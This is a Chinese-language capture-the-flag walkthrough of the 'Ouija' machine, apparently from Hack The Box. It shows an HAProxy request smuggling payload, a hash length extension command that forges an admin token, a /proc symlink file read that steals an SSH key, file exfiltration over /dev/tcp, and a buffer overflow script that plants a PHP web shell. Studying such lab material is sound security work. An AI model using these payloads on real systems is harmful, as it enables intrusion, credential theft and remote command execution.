概要
初始知识
web应用枚举
二进制逆向
文件枚举
堆栈溢出
学到知识
hash长度攻击
任意文件读取
二进制逆向分析
信息收集
端口扫描
nmap --min-rate 1000 -p- 10.129.30.104
发现22,80,3000端口
网站探测
目录枚举
feroxbuster -u http://10.129.30.104
feroxbuster -u http://10.129.30.104:3000
200 GET 1l 1w 26c http://10.129.30.104:3000/register
200 GET 1l 5w 42c http://10.129.30.104:3000/login
200 GET 1l 4w 25c http://10.129.30.104:3000/users
200 GET 1l 5w 42c http://10.129.30.104:3000/Login
200 GET 1l 4w 25c http://10.129.30.104:3000/Users
200 GET 1l 1w 26c http://10.129.30.104:3000/Register
200 GET 1l 5w 42c http://10.129.30.104:3000/LOGIN
子域名收集
ffuf -u http://10.129.30.104 -H "Host:FUZZ.ouija.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
gitea用户信息
信息泄露
Install HA-Proxy version 2.2.16 疑似存在漏洞
http走私漏洞
https://blog.csdn.net/weixin_50464560/article/details/120458520
https://portswigger.net/daily-swig/haproxy-vulnerability-enables-http-request-smuggling-attacks
https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/
https://github.com/advisories/GHSA-h2p2-w857-329fPOST /index.html HTTP/1.1
Host: abc.com
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 60GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz
关闭自动更新字节
利用http走私漏洞
自定义Content-Length
读取init.sh
#!/bin/bashecho "$(date) api config starts" >>
mkdir -p .config/bin .config/local .config/share /var/log/zapi
export k=$(cat /opt/auth/api.key)
export botauth_id="bot1:bot"
export hash="4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1"
ln -s /proc .config/bin/process_informations
echo "$(date) api config done" >> /var/log/zapi/api.logexit 1
读取app.js
var express = require('express');
var app = express();
var crt = require('crypto');
var b85 = require('base85');
var fs = require('fs');
const key = process.env.k;app.listen(3000, ()=>{ console.log("listening @ 3000"); });function d(b){s1=(Buffer.from(b, 'base64')).toString('utf-8');s2=(Buffer.from(s1.toLowerCase(), 'hex'));return s2;
}
function generate_cookies(identification){var sha256=crt.createHash('sha256');wrap = sha256.update(key);wrap = sha256.update(identification);hash=sha256.digest('hex');return(hash);
}
function verify_cookies(identification, rhash){if( ((generate_cookies(d(identification)))) === rhash){return 0;}else{return 1;}
}
function ensure_auth(q, r) {if(!q.headers['ihash']) {r.json("ihash header is missing");}else if (!q.headers['identification']) {r.json("identification header is missing");}if(verify_cookies(q.headers['identification'], q.headers['ihash']) != 0) {r.json("Invalid Token");}else if (!(d(q.headers['identification']).includes("::admin:True"))) {r.json("Insufficient Privileges");}
}app.get("/login", (q,r,n) => {if(!q.query.uname || !q.query.upass){r.json({"message":"uname and upass are required"});}else{if(!q.query.uname || !q.query.upass){r.json({"message":"uname && upass are required"});}else{r.json({"message":"disabled (under dev)"});}}
});
app.get("/register", (q,r,n) => {r.json({"message":"__disabled__"});});
app.get("/users", (q,r,n) => {ensure_auth(q, r);r.json({"message":"Database unavailable"});
});
app.get("/file/get",(q,r,n) => {ensure_auth(q, r);if(!q.query.file){r.json({"message":"?file= i required"});}else{let file = q.query.file;if(file.startsWith("/") || file.includes('..') || file.includes("../")){r.json({"message":"Action not allowed"});}else{fs.readFile(file, 'utf8', (e,d)=>{if(e) {r.json({"message":e});}else{r.json({"message":d});}});}}
});
app.get("/file/upload", (q,r,n) =>{r.json({"message":"Disabled for security reasons"});});
app.get("/*", (q,r,n) => {r.json("200 not found , redirect to .");});
其中bash泄露了hash
app.js泄露了端口加密方式等
lfl
读取key没有权限,只能想别的办法
不能读取目录
可以读取hosts怀疑是不是容器
读取源代码
app.js利用
var express = require('express');
引入 Express 模块,它是 Node.js 的一个 web 应用框架。var app = express();
创建 Express 应用的实例。var crt = require('crypto');
引入 Node.js 的内置 crypto 模块,用于加密和散列操作。var b85 = require('base85');
引入 base85 模块,但代码中未使用此模块。var fs = require('fs');
引入 Node.js 的内置 fs 模块,用于文件系统操作。const key = process.env.k;
从环境变量中读取一个名为 k 的值,并将其存储在常量 key 中。app.listen(3000, ()=>{ console.log("listening @ 3000"); });
启动服务器监听 3000 端口,并在控制台打印 "listening @ 3000"。定义 d 函数:将 base64 编码的字符串转换为 utf-8 字符串。
将得到的字符串转换为小写形式的十六进制字符串。
定义 generate_cookies 函数:使用 crypto 模块创建一个 SHA-256 散列。
更新散列,包含密钥 key 和 identification。
返回十六进制格式的散列值。
定义 verify_cookies 函数:比较通过 generate_cookies 生成的散列和请求头中的 rhash。
如果相同,返回 0;如果不同,返回 1。
定义 ensure_auth 函数:检查请求头中是否包含 ihash 和 identification。
使用 verify_cookies 验证身份。
检查解码后的 identification 是否包含管理员权限("::admin:True")。
app.get("/login", (q,r,n) => { ... });
定义 /login 路由的处理函数,但逻辑有重复且存在错误。app.get("/register", (q,r,n) => {r.json({"message":"__disabled__"});});
定义 /register 路由,返回一条消息表示该功能被禁用。app.get("/users", (q,r,n) => { ... });
定义 /users 路由,使用 ensure_auth 函数进行身份验证,然后返回数据库不可用的消息。app.get("/file/get",(q,r,n) => { ... });
定义 /file/get 路由,进行身份验证,然后根据请求中的 file 参数读取文件内容并返回。app.get("/file/upload", (q,r,n) =>{r.json({"message":"Disabled for security reasons"});});
定义 /file/upload 路由,返回一条消息表示该功能因安全原因被禁用。app.get("/*", (q,r,n) => {r.json("200 not found , redirect to .");});
捕获所有 GET 请求,并返回 404 错误消息
根据这个代码分析,我们查看到
identification 和ihash 不等于0同时存在同时查看是不是包含admin:True
ihash and identification headers must exist;
ihash 标 identification 头必须存在;
verify_cookies must return True;
verify_cookies 必须返回 True;
the decoded identification header must include ::admin:True.
解码 identification 的标头必须包括 ::admin:True
尝试构造包
错误无结果包如下
根据app.js我们进行加密操作
echo -n 'bot1:bot' | xxd -p | base64 -w 0
使用 echo 打印字符串 'bot1:bot' 但不添加换行符。
使用 xxd -p 将字符串的二进制表示转换成十六进制形式,并且输出纯十六进制数据。
使用 base64 -w 0 将十六进制数据编码为 Base64 编码的字符串,并且输出为一行
失败
所以我们就根据现有情况,我们知道所需的部分明文,以及目标hash,尝试哈希长度扩展攻击:
https://github.com/iagox86/hash_extender
make报错使用下面
https://github.com/iagox86/hash_extender/blob/62b681af5a86175147de69b473a2a066063461e4/Makefile
下载到本地
./hash_extender -d 'bot1:bot' -s 4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1 -a '::admin:True' -f sha256 --secret-min=8 --secret-max 64
经过测试在23,key有用
文件读取
init.sh里有一行ln -s /proc .config/bin/process_informations,所以我们可以利用这个软链接通过proc过去来读取其他文件
我们注意到前面发现和测试有leila用户
.config/bin/process_informations/self/root/etc/passwd
所以就尝试去读取leila
.config/bin/process_informations/self/root/home/leila/.ssh/id_rsa
cat leila |jq .message -r 把ssh文件提取
leila
枚举
ps -auxw
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
leila 849 0.0 2.2 665484 89240 ? Ssl 01:05 0:17 /usr/bin/js /var/www/api/app.js
leila 1600 0.2 4.1 1400536 167856 ? Ssl 01:05 1:17 /usr/local/bin/gitea web
leila 159868 0.0 0.2 17368 9992 ? Ss 09:54 0:00 /lib/systemd/systemd --user
leila 159983 0.0 0.1 8652 5444 pts/0 Ss 09:54 0:00 -bash
leila 164229 0.0 0.0 10332 3744 pts/0 R+ 10:09 0:00 ps -auxw
netstat -tnlp 命令会显示当前系统上所有处于监听状态的 TCP 套接字的详细信息,包括它们的数字形式的地址和端口号,以及关联的进程信息
在枚举中我们找到了root权限运行的应用
端口转发
ssh -i leila_ssh -L 9999:localhost:9999 leila@ouija.htb
没有结果,继续枚举
继续枚举发现本地9999端口,查看代码发现say_lverifier没有在php文件中定义,进一步发现自定义的php扩展,下载下来分析,可以发现相关函数在so中
nc 文件传输
cat /usr/lib/php/20220829/lverifier.so > /dev/tcp/IP/port
nc -lnvp 9001 > lverifier.so
比如字符串分析
strings lverifier.so
或者使用二进制分析工具
它用于 zend_parse_parameters 获取 username and password (及其长度),并且这些字符串被传递到 validating_userinput
自定义名字分析,让我们可以更好的理解,改为USERNAME,PASSWORD
经过和结合GPT分析
疑似存在
潜在的缓冲区溢出:函数中复制用户名到USERNAME_COPY的过程中,没有适当的长度检查,如果USERNAME的长度超过预期,可能会发生缓冲区溢出
潜在的整数溢出:在计算SHORT_USERNAME_LEN时,使用了位运算和强制类型转换,如果LEN_USERNAME的值非常大,可能会引起整数溢出
void validating_userinput(undefined8 *USERNAME,undefined8 PASSWORD){size_t LEN_USERNAME;long lVar1;ulong uVar2;ulong uVar3;undefined8 *puVar4;byte bVar5;undefined8 uStack_680;undefined4 LOG_PATH;undefined4 uStack_674;undefined4 uStack_670;undefined4 uStack_66c;undefined8 local_668;undefined8 local_660;undefined local_658 [16];undefined local_648 [16];undefined local_638 [16];undefined local_628 [16];undefined4 local_618;undefined4 LOG_DATA;undefined4 uStack_604;undefined4 uStack_600;undefined4 uStack_5fc;undefined4 local_5f8;undefined4 uStack_5f4;undefined4 uStack_5f0;undefined4 uStack_5ec;undefined8 local_5e8;undefined8 uStack_5e0;undefined8 local_5d8 [79];undefined8 auStack_360 [102];undefined8 local_30;long SHORT_USERNAME_LEN;undefined8 *USERNAME_COPY;bVar5 = 0;uStack_680 = 0x10186d;LEN_USERNAME = strlen((char *)USERNAME);local_660 = 0;LOG_PATH._0_1_ = '/';LOG_PATH._1_1_ = 'v';LOG_PATH._2_1_ = 'a';LOG_PATH._3_1_ = 'r';uStack_674._0_1_ = '/';uStack_674._1_1_ = 'l';uStack_674._2_1_ = 'o';uStack_674._3_1_ = 'g';uStack_670._0_1_ = '/';uStack_670._1_1_ = 'l';uStack_670._2_1_ = 'v';uStack_670._3_1_ = 'e';uStack_66c._0_1_ = 'r';uStack_66c._1_1_ = 'i';uStack_66c._2_1_ = 'f';uStack_66c._3_1_ = 'i';local_658 = (undefined [16])0x0;local_648 = (undefined [16])0x0;SHORT_USERNAME_LEN = -((long)(short)((short)LEN_USERNAME + 10) + 0xfU & 0xfffffffffffffff0);local_638 = (undefined [16])0x0;puVar4 = local_5d8;for (lVar1 = 0x51; lVar1 != 0; lVar1 = lVar1 + -1) {*puVar4 = 0;puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;}local_628 = (undefined [16])0x0;local_668 = 0x676f6c2e7265;USERNAME_COPY = auStack_360 + 3;LOG_DATA._0_1_ = 's';LOG_DATA._1_1_ = 'e';LOG_DATA._2_1_ = 's';LOG_DATA._3_1_ = 's';uStack_604._0_1_ = 'i';uStack_604._1_1_ = 'o';uStack_604._2_1_ = 'n';uStack_604._3_1_ = '=';uStack_600._0_1_ = '1';uStack_600._1_1_ = ':';uStack_600._2_1_ = 'u';uStack_600._3_1_ = 's';uStack_5fc._0_1_ = 'e';uStack_5fc._1_1_ = 'r';uStack_5fc._2_1_ = '=';uStack_5fc._3_1_ = 'r';local_618 = 0;local_5f8._0_1_ = 'o';local_5f8._1_1_ = 'o';local_5f8._2_1_ = 't';local_5f8._3_1_ = ':';uStack_5f4._0_1_ = 'v';uStack_5f4._1_1_ = 'e';uStack_5f4._2_1_ = 'r';uStack_5f4._3_1_ = 's';uStack_5f0._0_1_ = 'i';uStack_5f0._1_1_ = 'o';uStack_5f0._2_1_ = 'n';uStack_5f0._3_1_ = '=';uStack_5ec._0_1_ = 'b';uStack_5ec._1_1_ = 'e';uStack_5ec._2_1_ = 't';uStack_5ec._3_1_ = 'a';*(undefined4 *)puVar4 = 0;local_5e8._0_1_ = ':';local_5e8._1_1_ = 't';local_5e8._2_1_ = 'y';local_5e8._3_1_ = 'p';local_5e8._4_1_ = 'e';local_5e8._5_1_ = '=';local_5e8._6_1_ = 't';local_5e8._7_1_ = 'e';uStack_5e0._0_1_ = 's';uStack_5e0._1_1_ = 't';uStack_5e0._2_1_ = 'i';uStack_5e0._3_1_ = 'n';uStack_5e0._4_1_ = 'g';uStack_5e0._5_1_ = '\0';uStack_5e0._6_1_ = '\0';uStack_5e0._7_1_ = '\0';if (800 < LEN_USERNAME) {puVar4 = USERNAME_COPY;for (lVar1 = 100; lVar1 != 0; lVar1 = lVar1 + -1) {*puVar4 = *USERNAME;USERNAME = USERNAME + (ulong)bVar5 * -2 + 1;puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;}goto LAB_0010193e;}uVar2 = LEN_USERNAME + 1;puVar4 = USERNAME_COPY;if ((uint)uVar2 < 8) {if ((uVar2 & 4) == 0) goto LAB_001019d3;
LAB_00101a10:*(undefined4 *)puVar4 = *(undefined4 *)USERNAME;lVar1 = 4;}else {for (uVar3 = uVar2 >> 3 & 0x1fffffff; uVar3 != 0; uVar3 = uVar3 - 1) {*puVar4 = *USERNAME;USERNAME = USERNAME + (ulong)bVar5 * -2 + 1;puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;}if ((uVar2 & 4) != 0) goto LAB_00101a10;
LAB_001019d3:lVar1 = 0;}if ((uVar2 & 2) != 0) {*(undefined2 *)((long)puVar4 + lVar1) = *(undefined2 *)((long)USERNAME + lVar1);lVar1 = lVar1 + 2;}if ((uVar2 & 1) != 0) {*(undefined *)((long)puVar4 + lVar1) = *(undefined *)((long)USERNAME + lVar1);}
LAB_0010193e:puVar4 = (undefined8 *)((long)&LOG_PATH + SHORT_USERNAME_LEN + 8);*(undefined8 *)((long)&LOG_PATH + SHORT_USERNAME_LEN) = auStack_360[3];lVar1 = (long)&LOG_PATH + (SHORT_USERNAME_LEN - (long)puVar4);*(undefined8 *)((long)auStack_360 + SHORT_USERNAME_LEN) = local_30;USERNAME_COPY = (undefined8 *)((long)USERNAME_COPY - lVar1);for (uVar2 = (ulong)((int)lVar1 + 800U >> 3); uVar2 != 0; uVar2 = uVar2 - 1) {*puVar4 = *USERNAME_COPY;USERNAME_COPY = USERNAME_COPY + (ulong)bVar5 * -2 + 1;puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;}*(undefined8 *)((long)&uStack_680 + SHORT_USERNAME_LEN) = 0x101996;printf("",&LOG_DATA,&LOG_PATH);*(undefined8 *)((long)&uStack_680 + SHORT_USERNAME_LEN) = 0x1019a1;event_recorder(&LOG_PATH,&LOG_DATA);*(undefined8 *)((long)&uStack_680 + SHORT_USERNAME_LEN) = 0x1019ac;load_users((long)&LOG_PATH + SHORT_USERNAME_LEN,PASSWORD);return;
}
这段代码的主要功能是验证用户输入。它涉及用户名长度的检查,并对用户名进行不同的处理
缓冲区溢出
如果用户名长度大于 800 字节,会尝试将用户名复制到 USERNAME_COPY,可能会导致缓冲区溢出。
另外,对于长度小于 800 字节的用户名,处理不当的情况下也可能导致缓冲区溢出。
这里省略了在本地搭建环境测试,直接给出了python利用代码
有兴趣的可以下去深入研究二进制逆向
验证缓存区溢出
xzt = "A" * 16
longae = "/development/server-management_system_id_0/xtz.php\n"
xzt += "/" * (128 - len(xzt) - len(longae))
xzt +=longae
content = "<?php system($_REQUEST['cmd']); ?>"
xzt += content
xzt += "X" * (65535 -len(xzt))print(xzt)
这里一定要文件名不重复,内容不重复写入